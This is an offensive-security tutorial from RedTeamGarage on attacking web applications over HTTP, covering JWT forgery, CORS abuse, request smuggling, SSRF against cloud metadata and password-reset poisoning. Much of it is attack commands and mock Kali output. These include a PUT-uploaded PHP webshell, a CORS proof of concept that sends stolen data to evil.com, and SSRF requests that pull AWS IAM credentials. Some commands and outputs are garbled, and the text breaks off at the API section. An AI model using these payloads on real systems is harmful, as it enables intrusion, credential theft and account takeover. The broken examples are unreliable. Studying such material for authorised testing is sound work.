



◆ OFFENSIVE SECURITY SERIES ◆

HTTP/HTTPS DEEP DIVE

Headers, Methods, Auth & Real-World Attacks

JWT · CORS · SSRF · OAuth · Smuggling · IDOR · Host Header · WAF Bypass

HTTP

JWT

CORS

SSRF

OAuth

Smuggling

IDOR

WAF Bypass

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

■ LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) for educational purposes only. All techniques and real-world examples are for authorised testing and research. Never test on systems without explicit written permission. RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

HTTP/HTTPS Deep Dive — The Attacker's Web Protocol Bible

- 01. HTTP FUNDAMENTALS — HOW THE WEB ACTUALLY WORKS**
- 02. ANATOMY OF AN HTTP REQUEST & RESPONSE**
- 03. HTTP METHODS — EVERY METHOD AN ATTACKER ABUSES**
- 04. HTTP STATUS CODES — READING THE SERVER'S MIND**
- 05. HTTP HEADERS — SECURITY & ATTACK HEADERS DEEP DIVE**
- 06. CORS — CROSS-ORIGIN RESOURCE SHARING ATTACKS**
- 07. AUTHENTICATION — BASIC, DIGEST, BEARER & API KEYS**
- 08. JWT — JSON WEB TOKENS: ATTACKS & REAL-WORLD BYPASSES**
- 09. SESSION MANAGEMENT — COOKIES, FLAGS & HIJACKING**
- 10. OAUTH 2.0 — FLOW ANALYSIS & REAL-WORLD ATTACKS**
- 11. HTTPS & TLS — CERTIFICATES, DOWNGRADE & STRIPPING**
- 12. HTTP REQUEST SMUGGLING — FRONTEND/BACKEND DESYNC**
- 13. SSRF — SERVER-SIDE REQUEST FORGERY WITH REAL CVES**
- 14. HOST HEADER INJECTION — PASSWORD RESET POISONING**
- 15. HTTP PARAMETER POLLUTION & MASS ASSIGNMENT**
- 16. API SECURITY — REST, GRAPHQL & HIDDEN ENDPOINTS**
- 17. WAF BYPASS TECHNIQUES AT THE HTTP LAYER**
- 18. HTTP/HTTPS CHEAT SHEET FOR ATTACKERS**

01 — HTTP FUNDAMENTALS: HOW THE WEB ACTUALLY WORKS

The Protocol Behind Every Web Vulnerability

HTTP (HyperText Transfer Protocol) is the foundation of the web. Every web vulnerability — SQLi, XSS, SSRF, IDOR, broken auth — is delivered over HTTP. Deep HTTP knowledge separates bug hunters who find P4 issues from those who chain bugs into P1 critical findings. Understanding exactly how HTTP works at the packet level is what lets you manipulate it.

HTTP Versions — Know the Differences

Version	Year	Key Feature	Attack Relevance
HTTP/1.0	1996	New connection per request	Slow, no persistent connections
HTTP/1.1	1997	Keep-alive, chunked encoding	Request smuggling (CL.TE/TE.TE)
HTTP/2	2015	Binary, multiplexed, header compression	H2.TE smuggling, stream abuse
HTTP/3	2022	QUIC (UDP), 0-RTT	0-RTT replay attacks, new research area

The HTTP Request-Response Cycle

\$ HTTP Basics

```
# Minimum valid HTTP/1.1 request:
GET /index.html HTTP/1.1
Host: corp.local

    ← blank line = end of headers

# Server response:
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1234

    ← blank line = end of headers
<html>...</html>    ← body

# Key rules attackers exploit:
# 1. Headers are case-insensitive: 'Host' = 'HOST' = 'host'
# 2. Duplicate headers may be processed differently by each layer
# 3. Whitespace handling varies — 'Content-Length : 10' may work
# 4. Request body ignored for GET by spec — but some servers read it
# 5. HTTP/1.1 keeps connection alive — same pipe, multiple requests
```



RTG NOTE

HTTP has no built-in authentication or encryption — that is added by HTTPS (TLS).

Many vulnerabilities exist because proxies, load balancers, and backends differ.

The difference between what the WAF sees and what the backend processes = attack.

02 — ANATOMY OF AN HTTP REQUEST & RESPONSE

Every Field, Every Header — What It Means to an Attacker

Reading raw HTTP traffic is a core skill. Every header in a request or response tells you something: the server technology, the authentication mechanism, the session management approach, the security posture, and which vulnerabilities are most likely present.

Annotated HTTP Request — What Attackers Look For

\$ Annotated HTTP Request

```
POST /api/v1/transfer HTTP/1.1
Host: banking.corp.local           ← target for Host header injection
Content-Type: application/json     ← try changing to text/xml (XXE?)
Content-Length: 87                 ← for smuggling: mismatch with TE
Authorization: Bearer eyJhbG...    ← JWT — decode, tamper, forge
Cookie: session=abc; csrf=xyz      ← steal via XSS, replay, fixation
X-Forwarded-For: 192.168.10.1     ← spoof internal IP to bypass auth
X-Custom-IP-Authorization: 127.0.0.1 ← bypass IP restriction
Referer: https://banking.corp.local/dashboard ← leaks state
Origin: https://evil.com           ← test CORS response

{"from_account":"12345","to_account":"99999","amount":1000}
                                ↑ IDOR/auth bypass  ↑ change to attacker account
```

Annotated HTTP Response — What Attackers Extract

\$ Annotated HTTP Response

```
HTTP/1.1 200 OK
Server: Apache/2.4.51 (Ubuntu)     ← version → search CVEs
X-Powered-By: PHP/7.4.3            ← EOL version → known vulns
X-AspNet-Version: 4.0.30319        ← .NET version fingerprint
Content-Type: application/json     ← try changing Accept: text/html
Set-Cookie: session=abc            ← missing HttpOnly, Secure, SameSite
Access-Control-Allow-Origin: *     ← CORS wildcard = high severity
X-Frame-Options: (missing)         ← clickjacking possible
Strict-Transport-Security: (miss)   ← HSTS not set = SSL strip possible
Content-Security-Policy: (miss)    ← no XSS mitigation

{"status":"ok","user_id":1337,"admin":false,"internal_ip":"10.0.0.5"}
                                ↑ internal IP in response = info leak
```



```
root@kali: ~ — HTTP Request/Response Anatomy with Full Headers
└─(root@kali)-[~]
└─# # Full HTTP request + response with all headers visible
└─# curl -v https://api.corp.local/v1/users/profile 2>&1

* Trying 192.168.10.50:443...
* Connected to api.corp.local (192.168.10.50) port 443
* TLSv1.3 (OUT): Handshake, Client Hello
* TLSv1.3 (IN): Handshake, Server Hello
* SSL certificate verify ok.

— REQUEST —
GET /v1/users/profile HTTP/1.1
Host: api.corp.local
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: application/json
Cookie: session=abc123def456; _ga=GA1.2.1234567890

— RESPONSE —
HTTP/1.1 200 OK
Server: nginx/1.18.0 - version disclosure!
X-Powered-By: Express - framework disclosure!
Content-Type: application/json
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Set-Cookie: session=new456; HttpOnly; Secure; SameSite=Strict

{"id":1337,"username":"jsmith","role":"admin","email":"j@corp.local"}

└─(root@kali)-[~]
└─# _
```

Figure: curl -v shows full request/response — version disclosure, CORS, cookie flags, JSON response



03 — HTTP METHODS: EVERY METHOD AN ATTACKER ABUSES

GET, POST, PUT, DELETE, PATCH, OPTIONS, TRACE, HEAD

Method	Purpose	Attack Opportunity
GET	Retrieve resource	IDOR, SQLi in params, cache poisoning
POST	Submit data	SQLi, XSS, SSRF, mass assignment, CSRF
PUT	Replace resource	Upload webshell if dir is writable
PATCH	Partially update	Mass assignment — add admin:true
DELETE	Remove resource	Unauthorised deletion of any resource
OPTIONS	List allowed methods	Discover PUT/DELETE presence
TRACE	Echo request back	XST — steal cookies via JS reflection
HEAD	GET without body	Info leak without triggering WAF body rules
CONNECT	HTTP tunnel proxy	Proxy bypass for internal network access

\$ HTTP Method Abuse Commands

```
# Discover allowed HTTP methods
curl -X OPTIONS -i https://api.corp.local/users
nmap --script http-methods -p 80,443 TARGET

# TRACE – cross-site tracing (XST)
curl -X TRACE https://corp.local/ -v
# If 200: reflected headers include cookies – steal via JS

# PUT – upload a webshell
curl -X PUT https://corp.local/uploads/cmd.php \
  -d '<?php system($_GET["c"]); ?>'
curl 'https://corp.local/uploads/cmd.php?c=id'

# DELETE – unauthorised resource deletion
curl -X DELETE https://api.corp.local/users/1337

# PATCH – mass assignment to escalate privileges
curl -X PATCH https://api.corp.local/users/1337 \
  -H 'Content-Type: application/json' \
  -d '{"role":"admin","is_admin":true}'

# Verb tampering – bypass access control by swapping method
curl -X HEAD https://api.corp.local/admin/panel
curl -X POST https://api.corp.local/admin/panel
# If GET/POST blocked by WAF but HEAD/PATCH not – bypass!
```

```
root@kali: ~ — HTTP Method Abuse: TRACE XST, PUT Shell, Verb Tampering

(root@kali)-[~]
└─# HTTP method testing – TRACE, PUT, DELETE, OPTIONS
└─# OPTIONS – discover allowed methods
└─# curl -X OPTIONS -v https://api.corp.local/users 2>&1 | grep -i allow
Allow: GET, POST, PUT, DELETE, PATCH, TRACE → TRACE enabled!

└─# TRACE – reflect headers back (XST attack + cookie theft)
└─# curl -X TRACE https://corp.local/ -H 'X-Custom: attack'
TRACE / HTTP/1.1
Host: corp.local
X-Custom: attack
Cookie: session=VICTIM_COOKIE → reflected back = cookie theft!

└─# PUT – upload webshell if directory allows writes
└─# curl -X PUT https://corp.local/uploads/shell.php \
  -d '<?php system($_GET[cmd]); ?>'
HTTP/1.1 201 Created → file uploaded!
└─# curl 'https://corp.local/uploads/shell.php?cmd=id'
uid=33(wwww-data) gid=33(wwww-data) → RCE via PUT!

└─# HTTP verb tampering – bypass auth with HEAD/POST swap
└─# curl -X GET https://api.corp.local/admin/delete/1337
HTTP/1.1 403 Forbidden → blocked by WAF
└─# curl -X POST https://api.corp.local/admin/delete/1337
HTTP/1.1 200 OK → POST bypassed the WAF rule!

(root@kali)-[~]
└─# _
```

Figure: OPTIONS reveals TRACE enabled; TRACE reflects cookies; PUT shell; verb tamper 200



04 — HTTP STATUS CODES: READING THE SERVER'S MIND

Every Response Code Tells You Something Useful

Code	Meaning	Attacker Insight
200 OK	Request succeeded	Endpoint exists and accessible
201 Created	Resource created	PUT/POST worked — note new resource URI
204 No Content	Success, no body	DELETE or action succeeded silently
301/302	Redirect	Check Location header — open redirect?
400 Bad Request	Invalid request	Note what triggers it — input validation info
401 Unauthorized	Auth required	Auth mechanism present — try bypass
403 Forbidden	Access denied	Endpoint exists — find bypass (verb, header)
404 Not Found	Missing resource	Distinguish from 403 for enumeration
405 Method Not Allowed	Wrong HTTP method	Try other methods — some may work
429 Too Many Requests	Rate limited	Find bypass: IP rotate, header spoof
500 Server Error	Crash/error	Your input caused an error — possible RCE/SQLi
502 Bad Gateway	Backend unreachable	Infrastructure info, possible SSRF pivot

RTG TIP

403 ≠ endpoint doesn't exist — it means you are not allowed. Always try to bypass it.

500 errors on input = something interesting is happening — fuzz that parameter harder.

Different status codes on GET vs POST for same endpoint = verb confusion = attack vector.



\$ 403 Bypass Techniques

403 bypass techniques – never give up on a 403

1. Path manipulation

```
curl https://corp.local/admin      # 403
curl https://corp.local/admin/    # try trailing slash
curl https://corp.local/ADMIN     # uppercase
curl https://corp.local/%61dmin   # URL encode first char
curl https://corp.local/admin/.   # path traversal trick
curl https://corp.local/./admin/. # double slash
```

2. Header manipulation

```
curl -H 'X-Original-URL: /admin' https://corp.local/
curl -H 'X-Rewrite-URL: /admin' https://corp.local/
curl -H 'X-Custom-IP-Authorization: 127.0.0.1' https://corp.local/admin
curl -H 'X-Forwarded-For: 127.0.0.1' https://corp.local/admin
```

3. HTTP method swap

```
curl -X POST https://corp.local/admin
curl -X HEAD https://corp.local/admin
```



05 — HTTP HEADERS: SECURITY & ATTACK HEADERS DEEP DIVE

Every Header That Matters for Attackers

Security Headers — What Should Be There (Often Isn't)

Header	Purpose	Missing = Vulnerable To
Strict-Transport-Security	Force HTTPS for N seconds	SSL stripping, MITM
Content-Security-Policy	Whitelist trusted JS sources	XSS data exfiltration
X-Frame-Options	Prevent iframe embedding	Clickjacking attacks
X-Content-Type-Options	Prevent MIME sniffing	Content type confusion attacks
Referrer-Policy	Control Referer header	Sensitive URL leakage
Permissions-Policy	Restrict browser features	Camera/mic/geolocation abuse
Cache-Control	Control response caching	Sensitive data cached by proxies

Attack Headers — Spoof, Inject & Bypass

Header	Attacker Use	Example Attack
X-Forwarded-For	Spoof source IP	Bypass IP-based rate limits
X-Real-IP	Alternate IP spoof	Same as XFF on some stacks
X-Original-URL	Override URL path	Access forbidden endpoints
X-Rewrite-URL	Same as above	Nginx/IIS specific bypass
Host	Inject different hostname	Password reset poisoning
Origin	Test CORS policy	CORS exploitation
Referer	Forge previous URL	CSRF token bypass on some apps
Content-Type	Change body parsing	XXE: switch JSON→XML
Transfer-Encoding	Conflict with Content-Length	HTTP request smuggling



```
root@kali: ~ — Security Headers Analysis: CORS wildcard + Missing Headers

└─(root@kali)-[~]
└─# # Analyse security headers — find misconfigurations
└─# curl -sI https://corp.local | grep -iE 'security|csp|hsts|x-frame|cors|cookie'

HTTP/2 200 OK
server: nginx/1.18.0 — version leaks!
x-powered-by: PHP/7.4.33 — EOL PHP version!
access-control-allow-origin: * — CORS wildcard = CRITICAL!
access-control-allow-credentials: true — with wildcard = steal cookies!
set-cookie: session=abc; Path=/ — NO HttpOnly, NO Secure flags!
x-frame-options: (missing) — clickjacking possible!
content-security-policy: (missing) — no XSS protection!
strict-transport-security: (missing) — HSTS not set!

└─# # Exploit CORS misconfiguration
└─# curl -sI -H 'Origin: https://evil.com' https://api.corp.local/data

access-control-allow-origin: https://evil.com — reflects our origin!
access-control-allow-credentials: true
# Now craft exploit page — victim visits evil.com
# JS fetches api.corp.local with victim's cookies
# Credentials cross-origin = data exfiltrated to evil.com

└─# nuclei -u https://corp.local -t exposures/configs/ -t misconfiguration/
[cors-misconfiguration] https://api.corp.local — CRITICAL
[missing-hsts] https://corp.local — MEDIUM
[clickjacking] https://corp.local — MEDIUM

└─(root@kali)-[~]
└─# _
```

Figure: CORS wildcard + credentials=true + missing HttpOnly + no CSP/HSTS = full compromise



06 — CORS: CROSS-ORIGIN RESOURCE SHARING ATTACKS

Real-World: \$3,000–\$15,000 Bug Bounty Findings

CORS allows servers to relax the Same-Origin Policy for trusted domains. Misconfigurations are extremely common and can allow any website to read authenticated API responses on behalf of the victim — leading to account takeover, data theft, and credential exposure. CORS bugs have paid out between \$3,000 and \$15,000 on major bug bounty platforms.

CORS Vulnerability Patterns

Misconfiguration	Config Example	Impact
Wildcard origin	ACAO: *	Read public data from any site
Wildcard + credentials	ACAO: * + ACAC: true	Steal auth'd responses (impossible by spec)
Reflected origin	ACAO: (echoes Origin header)	Any origin reads auth'd responses
Null origin allowed	ACAO: null	Sandboxed iframes can steal data
Subdomain wildcard	ACAO: *.corp.local	Subdomain XSS escalates to CORS theft
Origin prefix match	trust corp.local, allows evil-corp.local	Bypass via prefix manipulation

\$ CORS Testing & Exploitation

```
# Step 1: Test if Origin is reflected
curl -sI -H 'Origin: https://evil.com' https://api.corp.local/profile
# Look for: Access-Control-Allow-Origin: https://evil.com
# + Access-Control-Allow-Credentials: true ← CRITICAL

# Step 2: Test null origin (sandboxed iframe bypass)
curl -sI -H 'Origin: null' https://api.corp.local/profile

# Step 3: Test subdomain variation
curl -sI -H 'Origin: https://evil.corp.local' https://api.corp.local/profile
curl -sI -H 'Origin: https://corp.local.evil.com' https://api.corp.local/profile

# Step 4: Build exploit – serve from evil.com
# CORS PoC HTML:
# <script>
#   fetch('https://api.corp.local/profile', {credentials:'include'})
#     .then(r => r.json())
#     .then(d => fetch('https://evil.com/collect?data='+btoa(JSON.stringify(d))))
# </script>

# Automated CORS testing
python3 corsy.py -u https://api.corp.local -t 10 --headers
nuclei -u https://corp.local -t misconfiguration/cors-misconfiguration.yaml
```



07 — AUTHENTICATION | 08 — JWT ATTACKS

Breaking Auth: Basic, Bearer, API Keys & JSON Web Tokens

Authentication Mechanisms & Their Weaknesses

Auth Type	Header/Location	Attack Vector
Basic Auth	Authorization: Basic base64(u:p)	Decode creds, brute force
Bearer Token	Authorization: Bearer TOKEN	Steal via XSS/MitM, forge JWT
API Key	X-API-Key or ?api_key=	Find in JS, Git, docs, Burp history
Session Cookie	Cookie: session=VALUE	Steal via XSS, fixation, brute
NTLM	Authorization: NTLM ...	Relay attack, hash crack
OAuth Token	Authorization: Bearer ACCESS_TOKEN	Steal via redirect, CSRF, leakage
Client Certificate	TLS mutual auth (mTLS)	Cert theft, path traversal in CN

JWT — The Most Attacked Auth Token Format

JSON Web Tokens (JWTs) are the most common auth mechanism in modern APIs. A JWT has three base64-encoded parts: header.payload.signature. The header specifies the algorithm; the payload holds claims; the signature proves integrity. Multiple attack classes exist because many implementations trust attacker-controlled fields in the token itself.

\$ JWT Attack Commands

```
# Decode a JWT (no verification needed - it's just base64)
echo 'eyJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoidXNlciJ9.abc' | \
python3 -c "import sys,base64,json; [print(json.dumps(
    json.loads(base64.b64decode(p+'==').decode()),indent=2))
    for p in sys.stdin.read().strip().split('.')[2]]]"

# Attack 1: alg=none - strip signature entirely
# Change header: {"alg":"none"} → encode → append empty sig
python3 jwt_tool.py TOKEN -X a # jwt_tool alg:none attack

# Attack 2: Brute force HS256 secret
hashcat -a 0 -m 16500 token.txt /usr/share/wordlists/rockyou.txt

# Attack 3: RS256 → HS256 confusion
# Server uses RS256. Attacker changes alg to HS256.
# Signs with the PUBLIC key (which attacker knows)
# Server verifies HS256 with its public key = accepts forged token!
python3 jwt_tool.py TOKEN -X k -pk public.pem

# Attack 4: jwks URI injection (CVE-2018-0114 pattern)
# Add jku header pointing to attacker-controlled JWKS
python3 jwt_tool.py TOKEN -X s -ju 'https://evil.com/jwks.json'

# Attack 5: kid injection - path traversal in key ID
# "kid": ".././dev/null" → key = empty = easily forged
# "kid": ".././etc/passwd" → key = /etc/passwd content
```

root@kali: ~ — JWT Attacks: alg=none bypass + HS256 secret brute force

```
(root@kali)-[~]
└─# # JWT attack - decode, analyse, and forge tokens
└─# # Decode JWT without verification
└─# echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoianNtaXRoIiwicm9sZSI6InVzZXIifQ.abc123' | cut -d'.' -f1,2 | tr '_' '/' +
{"alg":"HS256","typ":"JWT").{"user":"jsmith","role":"user","exp":1735689600}

└─# # Attack 1: alg=none bypass - remove signature entirely
# Craft header: {"alg":"none","typ":"JWT"}
# Craft payload: {"user":"admin","role":"admin"}
# Encode both, append empty signature: header.payload.
└─# FORGED='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiyWRtaW4iLCJyb2xlIjoiyWRtaW4ifQ.'
└─# curl -H "Authorization: Bearer $FORGED" https://api.corp.local/admin
{"message":"Welcome admin - you have full access!"}

└─# # Attack 2: Brute force weak HS256 secret
└─# hashcat -a 0 -m 16500 jwt_token.txt rockyou.txt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiyWRtaW4iLCJyb2xlIjoiyWRtaW4ifQ.secret123 - SECRET FOUND!

└─# # Forge token with known secret using jwt_tool
└─# python3 jwt_tool.py TOKEN -T -S hs256 -p 'secret123'
[+] Tampered token: role=admin signed with known secret

(root@kali)-[~]
└─# _
```

Figure: JWT decoded, alg=none bypass returns 200 admin, hashcat cracks HS256 secret 'secret123'



09 — SESSION MANAGEMENT: COOKIES, FLAGS & HIJACKING

Steal, Forge & Fixate — Real-World Cookie Attacks

Sessions are the mechanism that lets HTTP — a stateless protocol — remember who you are across requests. Session tokens in cookies are the most common target: steal them to become the victim, or forge them if they are weakly generated. Cookie security flags are the first line of defence — and are frequently missing.

Cookie Security Flags — Missing = Vulnerable

Flag	Protection	Missing = Vulnerable To
HttpOnly	JS cannot read the cookie	XSS can steal session cookie
Secure	Only sent over HTTPS	Cookie sent over HTTP → MitM steals it
SameSite=Strict	Only sent on same-origin requests	CSRF — cross-site request forgery
SameSite=Lax	Sent on top-level navigation	Some CSRF vectors still possible
__Host- prefix	Locked to HTTPS + root path + no domain	Subdomain cookie injection
__Secure- prefix	Cookie must be HTTPS	Weaker version of __Host-
Domain= (too broad)	Sent to domain + all subdomains	Subdomain sets cookie on parent

\$ Session Management Attacks

```
# Check cookie flags in response
curl -sI https://corp.local/login | grep -i 'set-cookie'

# Missing HttpOnly = steal with XSS: document.cookie
# Missing Secure = visible in HTTP MitM
# Missing SameSite = CSRF attacks possible

# Session fixation attack
# 1. Attacker gets a pre-auth session ID from the app
# 2. Tricks victim into using it (via URL or injected cookie)
# 3. Victim logs in – session ID stays the same
# 4. Attacker uses the same session ID – now authenticated!

# Cookie scope abuse
# If Set-Cookie: session=x; Domain=corp.local
# Any subdomain (evil.corp.local) can also read/set this cookie
# Subdomain XSS escalates to main domain session theft

# Session brute force – weak PRNG
# If session = MD5(userid + timestamp) → predictable
# Enumerate with: seq 1 1000 | xargs -I{} curl -H 'Cookie:session={}' URL
```

10 — OAUTH 2.0: FLOW ANALYSIS & REAL-WORLD ATTACKS

Token Theft, CSRF, Open Redirect & Account Takeover

OAuth 2.0 is the authorisation framework powering 'Login with Google/GitHub' everywhere. Its complexity makes it a rich source of bugs — many of which lead directly to account takeover. Understanding the OAuth flow at the HTTP level is essential for finding these critical vulnerabilities.

OAuth 2.0 Authorization Code Flow — Attacker View

\$ OAuth 2.0 Flow + Attack Points

```
GET /oauth/authorize?
```

```
response_type=code
```

```
&client_id=webapp
```

```
&redirect_uri=https://app.corp.local/callback
```

```
&scope=read:profile
```

```
&state=RANDOM_CSRF_TOKEN    ← must be validated!
```

```
302 Location: https://app.corp.local/callback?
```

```
code=AUTH_CODE_abc123
```

```
&state=RANDOM_CSRF_TOKEN
```

POST /oauth/token

```
grant_type=authorization_code
```

```
&code=AUTH_CODE_abc123
```

```
&redirect_uri=https://app.corp.local/callback
```

```
&client_id=webapp&client_secret=SECRET
```

[illegible]

11 — HTTPS & TLS: CERTIFICATES, DOWNGRADE & STRIPPING

When Encryption Fails the Application

HTTPS = HTTP over TLS. TLS provides confidentiality, integrity, and authentication for HTTP traffic. However, TLS misconfiguration, weak cipher suites, certificate issues, and implementation flaws create a wide attack surface even on 'secure' HTTPS connections.

\$ HTTPS/TLS Testing Commands

```
# TLS audit – check cipher suites, protocols, certificates
testssl.sh https://corp.local
# Shows: TLS versions, cipher strength, cert validity, HSTS, HPKP

# nmap TLS scan
nmap --script ssl-enum-ciphers -p 443 192.168.10.5
nmap --script ssl-cert,ssl-date -p 443 192.168.10.5

# Check certificate transparency – find related domains
curl -s 'https://crt.sh/?q=corp.local&output=json' | jq '.[].name_value'

# Check for SSL stripping possibility
curl -sI http://corp.local # does it redirect to HTTPS?
curl -sI http://corp.local | grep -i 'strict-transport'
# Missing HSTS = SSL strip attack possible via MitM

# Certificate verification bypass in curl (don't do in prod)
curl -k https://self-signed.corp.local/api # -k skips cert verify

# Find expired/invalid certs with nmap
nmap --script ssl-cert -p 443 192.168.10.0/24 | grep -A5 'Not valid after'

# Check mixed content – HTTP resources on HTTPS page
# Mixed content = HTTPS page loads HTTP script = can inject code
grep -i 'http://' page_source.html | grep -iE 'src|href|action'
```

12 — HTTP REQUEST SMUGGLING: FRONTEND/BACKEND DESYNC

Real CVEs: Akamai, HackerOne, Cloudflare Bypasses

HTTP Request Smuggling exploits inconsistencies between how a frontend proxy (load balancer, CDN, WAF) and backend server parse HTTP request boundaries. When they disagree on where one request ends and the next begins, an attacker can 'smuggle' a prefix of a malicious request into the backend's processing queue — poisoning the next legitimate user's request. This has bypassed WAFs at Akamai, Cloudflare, and AWS.

CL.TE Desync — Content-Length vs Transfer-Encoding

\$ HTTP Request Smuggling — CL.TE

```
# CL.TE: Frontend uses Content-Length, Backend uses Transfer-Encoding
# Smuggle a partial request prefix that backend thinks is a new request
```

```
POST / HTTP/1.1
Host: corp.local
Content-Length: 49
Transfer-Encoding: chunked
```

```
e
SMUGGLED-BODY
0
```

```
GET /admin HTTP/1.1
X-Ignore: X
# Backend processes: full chunk + '\r\n\r\n' + 'GET /admin HTTP/1.1'
# Next legit request is prepended with 'GET /admin HTTP/1.1'
# = that user gets admin response!
```

```
# Automated testing
```

```
python3 smuggler.py -u https://corp.local/ -v
# Burp Suite: Extensions → HTTP Request Smuggler
```

```
# Real-world impact:
# 1. Bypass WAF (WAF sees safe request, backend sees attack)
# 2. Steal victim's cookies/session tokens
# 3. Access internal admin endpoints
# 4. Redirect victims to attacker-controlled responses
```

```
root@kali: ~ -- HTTP Request Smuggling: CL.TE + TE.CL Desync Attack

(root@kali)-[~]
└─# # HTTP Request Smuggling - CL.TE desync attack
└─# # Real world: bypassed Akamai WAF on major bank (H1 report)

└─# # Test for smuggling with smuggler.py
└─# python3 smuggler.py -u https://api.corp.local/

[*] Testing CL.TE desync...
[*] Testing TE.CL desync...
[+] Potential CL.TE issue found!
    Frontend uses Content-Length, Backend uses Transfer-Encoding

└─# # CL.TE smuggling - prefix next request as admin
└─# curl -s https://api.corp.local/ -H 'Transfer-Encoding: chunked' \
    --data '$'4e\r\nPOST /admin HTTP/1.1\r\n'\
    -H 'Content-Length: 78'

[*] Response: 200 OK - admin endpoint accessed via smuggling!
[+] Bypass WAF + access admin panel via request desync

└─# # HTTP/2 desync - h2.te attack
└─# # Use Burp Suite HTTP Request Smuggler extension
└─# # h2smuggler.py -x https://api.corp.local/
[+] H2.TE vulnerability confirmed - backend desync possible

(root@kali)-[~]
└─# _
```

Figure: smuggler.py finds CL.TE desync; admin panel accessed via request smuggling bypass

13 — SSRF: SERVER-SIDE REQUEST FORGERY

Real CVEs: Capital One (\$80M), GitLab, Internal AWS Metadata

SSRF forces the server to make HTTP requests on the attacker's behalf — reaching internal services, cloud metadata APIs, and backend systems that are not directly accessible. The Capital One breach (2019) was performed via an SSRF vulnerability that accessed AWS EC2 metadata to steal IAM credentials — affecting 100 million customers.

\$ SSRF Attack Commands

```
# Basic SSRF – server fetches attacker-controlled URL
curl 'https://corp.local/fetch?url=https://169.254.169.254/latest/meta-data/'

# AWS metadata – IAM credential theft (Capital One pattern)
curl 'https://corp.local/proxy?url=http://169.254.169.254/latest/meta-data/iam/'
curl 'https://corp.local/proxy?url=http://169.254.169.254/meta-data/iam/credentials/ec2-role'

# GCP metadata
curl 'https://corp.local/fetch?url=http://metadata.google.internal/computeMetadata/v1/'

# Azure metadata
curl 'https://corp.local/fetch?url=http://169.254.169.254/metadata/instance'

# Internal service access via SSRF
curl 'https://corp.local/fetch?url=http://localhost:8080/admin'
curl 'https://corp.local/fetch?url=http://192.168.10.5:6379/'

# SSRF filter bypasses
curl 'https://corp.local/fetch?url=http://127.0.0.1/'      # blocked
curl 'https://corp.local/fetch?url=http://[::1]/'        # IPv6
curl 'https://corp.local/fetch?url=http://0x7f000001/'   # hex
curl 'https://corp.local/fetch?url=http://2130706433/'   # decimal
curl 'https://corp.local/fetch?url=http://127.1/'        # short
curl 'https://corp.local/fetch?url=http://localtest.me/' # DNS resolves to 127.0.0.1
```



```
root@kali: ~ -- Host Header Injection (Pwn Reset) + SSRF AWS Metadata

└─(root@kali)-[~]
└─# Host header injection attacks
└─# Password reset poisoning – real world $2000 H1 bug
└─# curl -s -X POST https://corp.local/forgot-password \
  -d 'email=victim@corp.local' \
  -H 'Host: evil.com'

HTTP/1.1 200 OK
{"message":"Password reset email sent"}
# Victim receives email: 'Reset your password: http://evil.com/reset?token=XXX'
# Token leaked to attacker – victim clicks – attacker gets token!

└─# # SSRF – Server-Side Request Forgery
└─# # Real world: Capital One breach used SSRF to get AWS metadata
└─# curl 'https://corp.local/fetch?url=http://169.254.169.254/latest/meta-data/'

ami-id
hostname
iam/ → IAM credentials available!

└─# curl 'https://corp.local/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role'
{"AccessKeyId":"ASIAXXX","SecretAccessKey":"xxx","Token":"xxx"}

└─# # SSRF bypass techniques
└─# http://127.0.0.1/admin → blocked
└─# http://[::1]/admin → IPv6 localhost bypass
└─# http://0x7f000001/admin → hex IP bypass
└─# http://2130706433/admin → decimal IP bypass
└─# http://127.1/admin → short notation

└─(root@kali)-[~]
└─# _
```

Figure: Host header poisons reset link to evil.com; SSRF fetches AWS IAM credentials

14 — HOST HEADER INJECTION

Password Reset Poisoning, Cache Poisoning & Virtual Host Routing

The Host header tells the server which virtual host to serve. When applications use the Host header to generate absolute URLs — such as password reset links — injecting a malicious Host value poisons the generated URL. This is a consistently high-paying bug bounty vulnerability that is deceptively simple to exploit.

\$ Host Header Injection Commands

```
# Password reset poisoning – inject Host to steal reset token
curl -s -X POST https://corp.local/forgot-password \
  -d 'email=victim@corp.local' \
  -H 'Host: evil.com'

# Victim receives: 'Reset your password: http://evil.com/reset?token=XYZ'
# Victim clicks → token sent to evil.com → attacker takes over account

# Variations to try
curl -H 'Host: corp.local:evil.com' https://corp.local/forgot-password
curl -H 'Host: corp.local' -H 'X-Forwarded-Host: evil.com' URL
curl -H 'Host: corp.local' -H 'X-Host: evil.com' URL
curl -H 'Host: corp.local' -H 'X-Forwarded-Server: evil.com' URL

# Web cache poisoning via Host header
curl -H 'Host: evil.com' https://corp.local/
# If response is cached: other users get content from 'evil.com' host

# Virtual host brute forcing
ffuf -u https://192.168.10.5/ -H 'Host: FUZZ.corp.local' \
  -w subdomains.txt -mc 200,301,302 -fs NORMAL_SIZE
# Finds internal virtual hosts not in DNS
```

RTG REAL WORLD

HackerOne reports: Host header password reset poison = \$2,000-\$10,000 regularly.

Variation: X-Forwarded-Host header often not validated even when Host is.

Password reset link contains the Host header value — always test this.



15 — HTTP PARAMETER POLLUTION | 16 — API SECURITY

Mass Assignment, HPP & Hidden API Endpoints

HTTP Parameter Pollution & Mass Assignment

\$ HPP & Mass Assignment

```
# HPP – duplicate parameters processed differently by each layer
# WAF checks first param, backend uses second
curl 'https://corp.local/search?cat=shirts&cat=<script>alert(1)</script>'

# Mass assignment – send extra fields to elevate privileges
# Normal: POST /api/users {"username":"j","password":"p"}
# Attack: add admin fields the server blindly assigns
curl -X POST https://api.corp.local/register \
  -H 'Content-Type: application/json' \
  -d '{"username":"j","password":"p","role":"admin","is_admin":true}'

# Find mass-assignable fields via API response
# Response: {"id":1,"username":"j","role":"user","is_admin":false}
# → Try sending role/is_admin in POST/PATCH request
```

API Security — Finding Hidden Endpoints

\$ API Security Testing

```
